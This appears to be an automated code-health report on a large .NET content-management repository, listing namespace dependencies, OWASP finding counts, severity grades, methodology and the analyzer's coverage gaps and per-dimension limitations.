5 distinct (type in Cms.Api.Management.Controllers.Tree → type in Cms.Core.Models.Entities) references.
Cms.Api.Management.Controllers.Tree uses Cms.Core.Models.Entities. Changing Cms.Core.Models.Entities can break Cms.Api.Management.Controllers.Tree, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
37→18 Cms.Api.Management.Controllers.Tree depends on Cms.Core.Services✕
Type pairs
11 distinct (type in Cms.Api.Management.Controllers.Tree → type in Cms.Core.Services) references.
Cms.Api.Management.Controllers.Tree uses Cms.Api.Management.Controllers. Changing Cms.Api.Management.Controllers can break Cms.Api.Management.Controllers.Tree, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→1 Cms.Api.Management.Factories depends on Cms.Api.Common.ViewModels.Pagination✕
Type pairs
2 distinct (type in Cms.Api.Management.Factories → type in Cms.Api.Common.ViewModels.Pagination) references.
Cms.Api.Management.Factories uses Cms.Api.Common.ViewModels.Pagination. Changing Cms.Api.Common.ViewModels.Pagination can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→2 Cms.Api.Management.Factories depends on Cms.Core.Serialization✕
Type pairs
1 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Serialization) reference.
Cms.Api.Management.Factories uses Cms.Core.Services.OperationStatus. Changing Cms.Core.Services.OperationStatus can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→4 Cms.Api.Management.Factories depends on Cms.Core.Hosting✕
Type pairs
1 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Hosting) reference.
Cms.Api.Management.Factories uses Cms.Core.Persistence.Repositories. Changing Cms.Core.Persistence.Repositories can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→15 Cms.Api.Management.Factories depends on Cms.Core.Services.Navigation✕
Type pairs
8 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Services.Navigation) references.
Cms.Api.Management.Factories uses Cms.Core.Services.Navigation. Changing Cms.Core.Services.Navigation can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→16 Cms.Api.Management.Factories depends on Cms.Core.Routing✕
Type pairs
4 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Routing) references.
Cms.Api.Management.Factories uses Cms.Core.Routing. Changing Cms.Core.Routing can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→18 Cms.Api.Management.Factories depends on Cms.Core.Services✕
Type pairs
53 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Services) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Api.Management.Factories uses Cms.Api.Management.ViewModels. Changing Cms.Api.Management.ViewModels can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→23 Cms.Api.Management.Factories depends on Cms.Core.PropertyEditors✕
Type pairs
7 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.PropertyEditors) references.
Cms.Api.Management.Factories uses Cms.Core.IO. Changing Cms.Core.IO can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→25 Cms.Api.Management.Factories depends on Cms.Core.Models✕
Type pairs
94 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Api.Management.Factories uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→30 Cms.Api.Management.Factories depends on Cms.Core.Cache✕
Type pairs
1 distinct (type in Cms.Api.Management.Factories → type in Cms.Core.Cache) reference.
Cms.Api.Management.Factories uses Cms.Core.Models.Membership. Changing Cms.Core.Models.Membership can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
38→35 Cms.Api.Management.Factories depends on Cms.Infrastructure.Examine✕
Type pairs
3 distinct (type in Cms.Api.Management.Factories → type in Cms.Infrastructure.Examine) references.
Cms.Api.Management.Factories uses Cms.Infrastructure.Examine. Changing Cms.Infrastructure.Examine can break Cms.Api.Management.Factories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
39→2 Extensions depends on Cms.Core.Serialization✕
Type pairs
3 distinct (type in Extensions → type in Cms.Core.Serialization) references.
39 distinct (type in Extensions → type in Cms.Core.Services) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Extensions uses Cms.Core.Services. Changing Cms.Core.Services can break Extensions, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
39→19 Extensions depends on Cms.Core.Models.PublishedContent✕
Type pairs
55 distinct (type in Extensions → type in Cms.Core.Models.PublishedContent) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
85 distinct (type in Extensions → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Api.Management.Services uses Cms.Core.Services.OperationStatus. Changing Cms.Core.Services.OperationStatus can break Cms.Api.Management.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
40→13 Cms.Api.Management.Services depends on Cms.Core.Security✕
Type pairs
1 distinct (type in Cms.Api.Management.Services → type in Cms.Core.Security) reference.
Cms.Api.Management.Services uses Cms.Core.Models.Membership. Changing Cms.Core.Models.Membership can break Cms.Api.Management.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
40→38 Cms.Api.Management.Services depends on Cms.Api.Management.Factories✕
Type pairs
1 distinct (type in Cms.Api.Management.Services → type in Cms.Api.Management.Factories) reference.
Cms.Api.Management.Services uses Cms.Api.Management.Factories. Changing Cms.Api.Management.Factories can break Cms.Api.Management.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
Findings mapped to OWASP categories; the specific CVEs/secrets are in the Security dimension cards below and findings.md (redacted only on the public version of this report).
OWASP category
Findings
Severity
A03:2021 — Injection
55
High / Critical
A02:2021 — Cryptographic Failures
9
High / Critical
A05:2021 — Security Misconfiguration
8
High / Critical
A06:2021 — Vulnerable & Outdated Components
7
High / Critical
Roadmap
First, clean up the dependency tree by removing unused packages, explicitly declaring imports, and moving type- and test-only tools to development dependencies. Next, implement automated security and performance tooling, such as Dependabot or Renovate, to continuously monitor for vulnerabilities and updates. Maintain a changelog to clearly document release changes, and restrict the public API by making internal types private to ensure stable versioning. Finally, resolve the remaining prerelease dependency warnings to stabilize the project's external requirements.
Ranked by impact ÷ effort. "Helps" is the estimated gain on the 0–100 health score.
Do this
Helps
Effort
Dimension
Resolve the 2 Prerelease dependency finding(s) in Dependency Hygiene.
Extend structured logging across the projects you operate, and give the library ones a diagnostics seam instead — an `EventSource`/`ActivitySource` the host can subscribe to, or an optional logger on your options object — rather than taking a logging dependency on your consumers' behalf.
Every finding carries one of four grades. Three say how serious it is. The fourth says this
survey could not settle it — and it is a grade, not a gap.
Critical — 225
A definite problem that already costs you something and drags the score down: a
missing authorisation check, a dependency with a known exploit, a build that does not reproduce. Failure here
tends to cause failures elsewhere.
Serious — 2122
Likely wrong, but not failing yet. It degrades
the codebase over a longer horizon and can cause failures elsewhere — not urgent this week, not something to
carry for two years either.
Minor — 232
Recorded, with no effect on how the codebase functions.
Present so the survey is complete, not because it needs doing.
Could not be resolved — 3
Something this survey could not settle
from the outside, and which could be critical or serious. Either a control was required and no
positive evidence of it exists in the repository — a backup job that nothing shows was ever restored from proves
nothing about restores — or our own analysis could not run over that part of the tree. This is not a clean
result. These are excluded from the score rather than awarded a pass, so the number on the cover neither
rewards nor penalises them: if you act on this survey without resolving them, you carry that risk yourself. Each
one is named under Limitations.
Methodology & how to trust this report
Watchdog is a deep, periodic assessment — run each sprint, monthly, or quarterly, taking the time to go wider and deeper than a quick check and surfacing in one coherent report what you'd otherwise piece together from a dozen separate tools. It scores deterministically: the same commit yields the same score, every run. 97 of 104 evaluated dimensions are computed purely by tools and static analysis (confidence 1.0); 7 documentation/naming judgement(s) are LLM-assisted and labelled advisory. Overall confidence is 0.7 — the weighted average across measured dimensions; it falls as more of the score leans on LLM-assisted judgement and rises when it's fully tool-backed.
Every figure here is one of three kinds, and we label which: ✓ Measured — a deterministic fact (LoC, complexity, coverage); ~ Modeled — an estimate from a stated model (cost, effort, value-at-risk), always a range with its assumptions, never a precise fact; ◐ Advisory — an LLM prose judgement. We never present a modelled estimate as if it were measured. Perfect or absent scores carry their provenance too (ADR-0011): ✓ Tool-verified means the property itself was measured across the surface; ○ Nothing flagged means the probes came back clean — a claim bounded by what a repository can show; ⊘ Not evidenced means a working control (a tested restore, an automated rollback) showed no positive evidence — absence of evidence is not evidence of a control, so it's excluded from the score rather than awarded a spurious 10; ◐ Sampled · advisory marks an LLM verdict over a bounded sample — advisory, never a deterministic measurement.
What we checked — 104 dimensions across the health lenses
Each chip is a dimension scored from real signals across architecture, testing, dependencies, security & compliance, documentation, git-history and code quality — in one coherent pass. A surface report typically covers a handful.
How to trust any code-health report — three questions
Can you open the finding? Real findings cite a repo-relative file and line you can open at the cited line — never an absolute scratch path. Here, 2435 of 2579 do; the remainder are repo-wide signals — a dimension-level measurement, not a single line. (Every path in this report is repo-relative by construction: paths are normalized at the producer and the report is rejected if any rooted path leaks through.)
Is there a tool behind the number? Every score below names the method that produced it — Roslyn, git, a scanner, or (for a handful of documentation/naming dimensions) an LLM labelled sampled · advisory — not a narrative.
Does re-running give the same result? Run it again on the same commit and the score — and this report, byte for byte — is identical. A report whose numbers move between runs is describing the run, not the code.
This report answers yes to all three. That's the bar to hold any assessment to.
Tools & methods
The actual versions used this run (captured at analysis time) — re-run on the same commit for the identical score.
Method
Backs
Version
Evaluator
Roslyn static analysis
Complexity, cohesion, coupling, dead code, API surface, layering
What ran differently this time — a tool absent, degraded, or that fell back to an estimate. Named openly, not folded silently into the scores. A degraded run also records its exact cause in diagnostics.md.
D4 Code Duplication — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. The 320 duplicated block group(s) on this row were found in the languages this pass could tokenize, and they do NOT cover all of this repository's production source: .js (1,121,206 lines, 57% of production source), .ts (441,079 lines, 22% of production source) went unread, because no language model this pass could load exposed a clone-unit token stream for those file kinds. Duplication in that source is UNMEASURED — its absence from the count above is a gap in this analyzer's language coverage, not a finding that the code is free of duplication.
D10 Test Quality — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. The 7,619 test(s) behind this row are the ones the C# collector could read, and this repository also carries at least 914 test source file(s) (.ts) that it cannot: it parses C# syntax and matches C# test attributes, so a vitest/jest/JUnit/pytest-style suite is invisible to it. Skipped tests, zero-assertion tests and the other quality signals on this row are UNMEASURED in that suite — their absence from the counts above is a gap in this analyzer's language coverage, not a finding that those tests are sound.
D17 Explicit Debt — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. The 1,057 deducted marker(s) and the 0.6/KLoC density on this row were taken over this repository's .NET projects ALONE: .js (1,121,206 lines, 57% of production source), .ts (441,079 lines, 22% of production source) went unread, because every marker collector on this path is reached through a C# workspace. A read-only sweep of that source finds at least 829 task marker(s) (TODO/FIXME/HACK/XXX) across 497 file(s) that this score does not count — a floor, since only line comments are read there and D17's other eight marker kinds (suppressions, NoWarn, editorconfig severities, empty catches, commented-out code, Obsolete, dead code, preprocessor branches) need a compiler we do not have for that language. The debt in that source is UNMEASURED — its absence from the score above is a gap in this analyzer's language coverage, not a finding that the code carries none.
D23 Boundary Type-Coupling — not measured this run — Watchdog could not measure this here. That is a gap on our side — a collector, parser or image we have not built yet — and it is neither a defect in this repository nor evidence that the check would have passed. At 414k LoC spread over 30 projects this is a very large multi-module system that clearly needs explicit bounded contexts. Bounded contexts cannot be inferred from a codebase that is not physically organised by them (D-321), so with none declared there are no boundaries for the coupling pass to measure across. You can widen what we reach: name this codebase's bounded contexts (≥2 module groups, e.g. per subsystem) so cross-boundary type coupling can be assessed. Declare them in `.codehealth/config.yaml` at the repository root (create it if absent), mapping each context name to the module-path or namespace prefixes that belong to it — e.g. `architecture:` → `contexts:` → `Billing: ["src/billing", "Acme.Billing"]`, `Catalog: ["src/catalog", "Acme.Catalog"]`.
D27 Navigability — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. Tracing effort is measured over resolved call sites, and all 985 sampled here came from .cs files. This repository's .ts source is a material share of its production lines and contributed none, so the score above is a verdict about the part that was read. Not a finding that the unread half navigates well — it is unmeasured.
D30 Dependency Vulnerabilities — measured, with a gap in what it reached — This is a true statement about the repository that carries nothing for its owner to act on, so it is reported here rather than as a defect in their code. `dotnet list package --vulnerable` could not read this solution's dependency graph — it reported an error for at least one project and returned no package data at all (typically a packages.config / non-PackageReference project, which the command cannot read). An unreadable dependency graph is not a clean one; migrate the project(s) to PackageReference to enable this scan. 1 of 3 declared ecosystem(s) (osv) WERE scanned and every vulnerability they reported is included in this result; nuget was not, so this dimension's score covers less than the dependency surface this repository declares, and nothing here is evidence that nuget is free of known-vulnerable dependencies.
D30 Dependency Vulnerabilities — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. The scanner produced no output at all, so no dependency was actually scanned. 1 of 3 declared ecosystem(s) (osv) WERE scanned and every vulnerability they reported is included in this result; npm was not, so this dimension's score covers less than the dependency surface this repository declares, and nothing here is evidence that npm is free of known-vulnerable dependencies.
D32 Data Compliance (PII/GDPR) — not measured this run — Watchdog could not measure this here. That is a gap on our side — a collector, parser or image we have not built yet — and it is neither a defect in this repository nor evidence that the check would have passed. `src/Umbraco.Cms.Api.Management/Controllers/Element/Folder/Item/FolderItemControllerBase.cs`, `src/Umbraco.Cms.Api.Management/Controllers/Element/Item/ElementItemControllerBase.cs`, `src/Umbraco.Cms.Api.Management/Services/Entities/IDocumentStartNodeTreeFilterService.cs`, `src/Umbraco.Cms.Api.Management/Services/Entities/IElementStartNodeTreeFilterService.cs`, `src/Umbraco.Cms.Api.Management/Services/Entities/IMediaStartNodeTreeFilterService.cs`, … (+442 more) produced a parse error, so every rule in this engine's `gdpr.yml` was absent there. That absence is NOT a clean result: these rules detect personal data crossing a boundary into a log sink, a URL or browser storage, and a file that was never parsed cannot report any of the three. The rest of the tree analysed normally and its rows above stand; only these files are unaccounted for. You can widen what we reach: fix the syntax error (or exclude the file deliberately) and re-scan to cover it.
AC1 Text alternatives — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — and the accessibility cards on this run were measured over the 46 parsed markup document(s) ONLY. The markup model reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx; it has no producer for tagged templates at all, so those components were not merely unparsed but unenumerated: not one of their elements entered the population any AC card scored. Their absence from the counts above is a gap in this analyzer's frontend coverage — not a finding that they carry text alternatives, labels, keyboard semantics or correct ARIA.
AC2 Forms & labels — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — and the accessibility cards on this run were measured over the 46 parsed markup document(s) ONLY. The markup model reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx; it has no producer for tagged templates at all, so those components were not merely unparsed but unenumerated: not one of their elements entered the population any AC card scored. Their absence from the counts above is a gap in this analyzer's frontend coverage — not a finding that they carry text alternatives, labels, keyboard semantics or correct ARIA.
AC3 Page structure — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — and the accessibility cards on this run were measured over the 46 parsed markup document(s) ONLY. The markup model reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx; it has no producer for tagged templates at all, so those components were not merely unparsed but unenumerated: not one of their elements entered the population any AC card scored. Their absence from the counts above is a gap in this analyzer's frontend coverage — not a finding that they carry text alternatives, labels, keyboard semantics or correct ARIA.
AC4 Keyboard semantics — not measured this run — Watchdog could not measure this here. That is a gap on our side — a collector, parser or image we have not built yet — and it is neither a defect in this repository nor evidence that the check would have passed. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — and the accessibility cards on this run were measured over the 46 parsed markup document(s) ONLY. The markup model reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx; it has no producer for tagged templates at all, so those components were not merely unparsed but unenumerated: not one of their elements entered the population any AC card scored. Their absence from the counts above is a gap in this analyzer's frontend coverage — not a finding that they carry text alternatives, labels, keyboard semantics or correct ARIA.
AC5 ARIA correctness — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — and the accessibility cards on this run were measured over the 46 parsed markup document(s) ONLY. The markup model reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx; it has no producer for tagged templates at all, so those components were not merely unparsed but unenumerated: not one of their elements entered the population any AC card scored. Their absence from the counts above is a gap in this analyzer's frontend coverage — not a finding that they carry text alternatives, labels, keyboard semantics or correct ARIA.
AC6 Visual & motion safety — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. This repository renders user interface from tagged-template markup — 1000 script file(s) holding 2707 html`…` template(s), 5819 markup element(s) and 1029 event binding(s) (e.g. templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts, src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Login/src/components/back-to-login-button.element.ts) — and the accessibility cards on this run were measured over the 46 parsed markup document(s) ONLY. The markup model reads .html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx; it has no producer for tagged templates at all, so those components were not merely unparsed but unenumerated: not one of their elements entered the population any AC card scored. Their absence from the counts above is a gap in this analyzer's frontend coverage — not a finding that they carry text alternatives, labels, keyboard semantics or correct ARIA.
AX9 CQS / query purity — not measured this run — Watchdog could not measure this here. That is a gap on our side — a collector, parser or image we have not built yet — and it is neither a defect in this repository nor evidence that the check would have passed. 16 query handlers were classified, but the query-purity walk could not open any of their bodies: it recognises an entry point named Execute/Handle/Consume (±Async), which the handlers in this repository do not use. Scoring the set anyway would report every unopened handler as pure, so AX9 abstains instead of publishing a perfect score it did not measure.
GD1 Unfinished & placeholder code — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. 40 further occurrence(s) are not listed individually; the score already reflects all 80.
IC1 Incompleteness & stubs — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. 328 further occurrence(s) are not listed individually; the score already reflects all 368.
R10 Code Duplication — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. 1329 further occurrence(s) are not listed individually; the score already reflects all 1369.
R4 Test Coverage — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. 44 further occurrence(s) are not listed individually; the score already reflects all 84.
X1 Async correctness — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. 219 further occurrence(s) are not listed individually; the score already reflects all 259.
X2 Cancellation propagation — measured, with a gap in what it reached — Watchdog measured this, but not all of it. What it did not reach is a gap on our side — a collector, parser or image we have not built yet — so the numbers on that dimension cover less than the repository, and the part left out is not evidence that it would have passed. 415 further occurrence(s) are not listed individually; the score already reflects all 455.
Repo exclusion declarations: 12 pattern(s) declared (.gitattributes linguist-generated/vendored, .editorconfig generated_code) excluded 0 source file(s) from code-quality scoring. Declarations are the repo's own visible statement that a tree is machine-written or vendored — auditable in any diff, honored by GitHub the same way.
Limitations & what we did not check
Watchdog assesses the repository exactly as committed, and only the repository. By design it does not reach outside the source tree: the live cloud account, the running CI/CD pipeline, the host's branch-protection and approval rules, the production configuration, or a restore actually exercised against a backup are all out of scope. That boundary is a feature, not a gap — a repo-relative, deterministic scan re-runs identically on any commit and every finding opens at a real file and line, where a live audit can neither be reproduced nor traced. The visible consequence is that controls which leave no in-repo evidence are reported as "not evidenced" and excluded from the score rather than awarded a number a static scan cannot justify.
Per-dimension blind spots
For each dimension that was measured, what a static, repo-only scan structurally cannot see — the honest edge of the measurement, not a failure of it.
D1 Cyclomatic Complexity: Cyclomatic complexity counts branches statically — it cannot tell an essential decision tree from accidental tangle, nor see complexity that lives in data or configuration (large switch-case token tables, DSL lexers/parsers, data-as-code rule tables) rather than control flow: a tokenizer's many single-character cases read as high complexity though each branch is trivial.
D2 Cognitive Complexity: Cognitive-complexity heuristics approximate how hard code is to follow; genuine domain difficulty and well-named intent that eases reading are not captured.
D3 God Classes: "God class" is sized by members and responsibilities visible in the type — a deliberately broad facade over a coherent subsystem can read the same as an accidental grab-bag. For front-end JS the file-length check is cohesion-aware (a single-responsibility module — one class/IIFE — earns a 3× threshold), but cohesion is approximated from top-level declarations, not true dependency structure.
D4 Code Duplication: Duplication is token-similarity — an in-process token-stream comparison over sliding windows, with type-aware normalization — so it finds copy-paste, not semantic duplication expressed differently. Committed machine-written code (scaffolded migrations, designer/codegen output, protobuf/OpenAPI stubs, model snapshots) is EXCLUDED — its repetition is the tool's, not the team's — so the score reflects hand-written duplication only.
D5 Coupling: Coupling is measured between projects/assemblies — runtime coupling through DI, reflection, messaging or shared databases is invisible to a static reference graph.
D6 Cohesion (LCOM4): LCOM4 cohesion is syntactic — it infers connectivity from which methods touch which fields/methods by name, not from real runtime behaviour or intent.
D9 Test Distribution: The test-pyramid shape is inferred from project/folder naming and references, with a single test host bucketed per-file by its path tier and content signals — a suite that names tiers unconventionally and gives no per-file signal can still be mis-bucketed.
D10 Test Quality: Assertion density is structural — it cannot tell a meaningful behavioural assertion from a trivial one, only that an assertion is present.
D11 Test Reliability: Flakiness is inferred from history/markers — Watchdog runs the suite once (for coverage), not the repeated runs under varied conditions that reveal nondeterminism, so a flaky test never recorded as failing is invisible here.
D12 Dependency Hygiene: Dependency health reads manifests and lockfiles — a vulnerability in a vendored/copied dependency, or risk from how a dependency is actually used, is outside this view.
D13 Secret Scanning: Secret detection is signature- and entropy-based on the current tree — a secret that does not match a known pattern, or one already rotated, will not be flagged (a clean scan is "nothing matched", not "no secrets exist").
D14 License Compliance: License compatibility is checked against declared package metadata and a policy — mislabelled or missing license metadata, and obligations that depend on how you distribute, are not resolved here.
D15 Churn × Complexity Hotspots: Churn hotspots come from git history — a freshly imported or squashed repository has no churn signal, and recent rewrites can mask a historically risky file.
D16 Bus Factor: Bus-factor is a time-decayed model of commit attribution (who has recently, repeatedly worked a file), not comprehension — pairing, review and reading-without-committing spread knowledge it can't see; bot commits and shared accounts still distort it.
D17 Explicit Debt: Acknowledged-debt signals (TODO/FIXME, suppressions, dead code) are textual — undocumented debt that nobody marked, and debt that lives in design rather than annotations, is invisible. Committed machine-written code (scaffolded migrations, designer/codegen output, generated stubs) is excluded — it is never the team's dead code to delete.
D19 Documentation Quality: Documentation quality is judged by an LLM over a bounded sample of docs — it reads what is written, not whether the docs match the running system, and it is advisory, not a measurement.
D20 ADR Quality: ADR quality is an LLM read of the decision records present — it cannot know about decisions made and never recorded, and its verdict is sampled and advisory.
D21 Naming Consistency: Naming quality is an LLM judgement over a bounded sample — it assesses clarity/consistency of the names it sees, not domain-correctness, and is advisory.
D22 Internal API Consistency: API-surface coherence is an LLM judgement over a sample of the public surface — consistency of intent across the whole API is approximated, not exhaustively verified.
D24 Comment Value: Comment value (WHY vs WHAT) is an LLM judgement over a bounded sample — it is advisory and cannot weigh a comment against the precise code change it was written to explain.
D26 Project Cohesion: Project focus is sized from members/namespaces per project — a project that is broad by deliberate design reads the same as one that has sprawled.
D27 Navigability: Indirection/navigability is structural — it measures hops to follow a call, not whether that indirection buys real flexibility or just ceremony.
D28 Secrets (history): Secret-history scanning sweeps the git log for known patterns — a secret that predates the available history, or never matched a signature, is not found (clean means "nothing matched in the history we can see").
D29 Static Analysis (SAST): SAST findings are pattern-based (semgrep) — it finds classes of bug it has rules for; logic flaws, auth/authorization gaps and issues needing runtime context are out of reach (and clean means "no rule matched").
D30 Dependency Vulnerabilities: CVE matching depends on accurate package/version metadata and on the advisory databases — a vulnerability with no published advisory, or in code not declared as a dependency, is not seen. Coverage needs a RESOLVED graph: an unpinned requirements.txt, or a pom without a resolved build, yields partial coverage rather than a clean verdict. An ecosystem the analyzer cannot scan is reported as unmeasured, never as clean.
D31 IaC & Container Security: IaC scanning checks Dockerfiles/Terraform/Kubernetes against best-practice rules — it cannot see the live cloud account, runtime configuration, or drift between the committed config and what is actually deployed.
D34 Knowledge Freshness: Freshness is decayed commit RECENCY, not comprehension — code read often but rarely committed reads as orphaned, and stable code that genuinely needs no changes is penalised the same as forgotten code; bot/squash commits distort it like the bus factor.
D35 Change Coupling: Change coupling is co-change in COMMITS — files split across separate commits, or coupled only through a shared config/build step, read as uncoupled, and a sweeping commit (rename/format) is excluded so it doesn't couple everything. It shows that files change together, not WHY: a high coupling can be a healthy cohesive pair as readily as a hidden leak.
AC1 Text alternatives: Alt-text is detected structurally — the scan sees that an alternative EXISTS, not whether it meaningfully describes the image, and decorative-vs-missing is judged by attribute shape; runtime-injected images and a non-role=img decorative svg are out of scope. This is accessibility readiness, never a WCAG conformance claim.
AC2 Forms & labels: Label association is read from static markup — a label wired up at runtime (JS-set aria-labelledby, framework-injected ids) reads as missing, a present label says nothing about whether its text is correct. A known UI-library field component (e.g. a JSX <TextField>) is now checked conservatively — flagged only when it carries NO label/aria-label/aria-labelledby/id/name — but wrapper/context-labelled libraries (Chakra/Radix FormControl+FormLabel) aren't statically visible (possible false positive) and non-JSX lowercased components are still skipped. A click handler on a plain element is now asked for a name too (it is a control the author declared), but the subtree test that answers it is deliberately generous: any DYNAMIC text expression in the subtree counts as a name, so an icon chosen by a ternary ({cond ? <IconA/> : <IconB/>}) reads as named, and a glyph component from a library the icon-import list does not know still names its parent. A clean result is "no unlabelled control found", not a labelling proof.
AC3 Page structure: Page structure is read from the static markup tree — landmarks, headings and lang injected at runtime aren't seen, heading ORDER is checked structurally (not against the rendered visual hierarchy), and lang/title/main fire only on full documents, never partials, and the data-table check sees header-cell presence (a <th> exists), not whether each header correctly associates with its cells. Static readiness, not conformance.
AC5 ARIA correctness: ARIA correctness is checked against the static role/attribute shape — roles/attributes set dynamically aren't seen, a valid role says nothing about whether it matches the element's real behaviour, and required-state checks are suppressed when a JSX spread could supply them. The two-branch toggle check (a control whose state is conveyed only by which of two mutually exclusive branches renders) reads CONDITIONALS THAT ARE ATTRIBUTES — Vue v-if/v-else/v-show and Alpine x-if/x-show — so the same toggle written as a Svelte {#if} block or a JSX ternary is control flow the markup model never projects as a branch and is not seen at all.
